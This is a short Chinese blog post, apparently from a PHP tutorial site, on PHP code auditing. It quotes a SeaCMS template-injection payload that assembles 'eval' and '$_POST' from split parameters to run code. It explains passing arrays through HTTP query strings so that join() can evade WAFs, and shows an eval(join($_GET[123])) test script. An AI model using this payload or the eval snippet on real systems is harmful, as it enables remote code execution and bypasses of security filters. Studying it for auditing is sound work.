最近開始學習php審計,剛好趕上研究seacms,就發現了payload處一個奇怪的點
searchtype=5&searchword={ if{searchpage:year}&year=:e{searchpage:area} }&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
就嘗試了一下,發現在接收資料時,例:
鍵名=a,那傳遞a[]=a&a[]=b時,a即為一個數組,便做了個測試,果真如此
伺服器端測試程式碼
<?php print_r($_GET[1]); ?>
測試結果如下
#那麼這一個有什麼用呢?思考了一下,如果伺服器上有安全狗或waf等防護工具,那麼配合其他php函數,例如join函數,可能可以達到繞過效果
提供一個簡單思路
伺服器測試程式碼
<?php eval(join($_GET[123])); ?>
測試結果如下
以上是php如何透過http請求傳送數組的實例分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!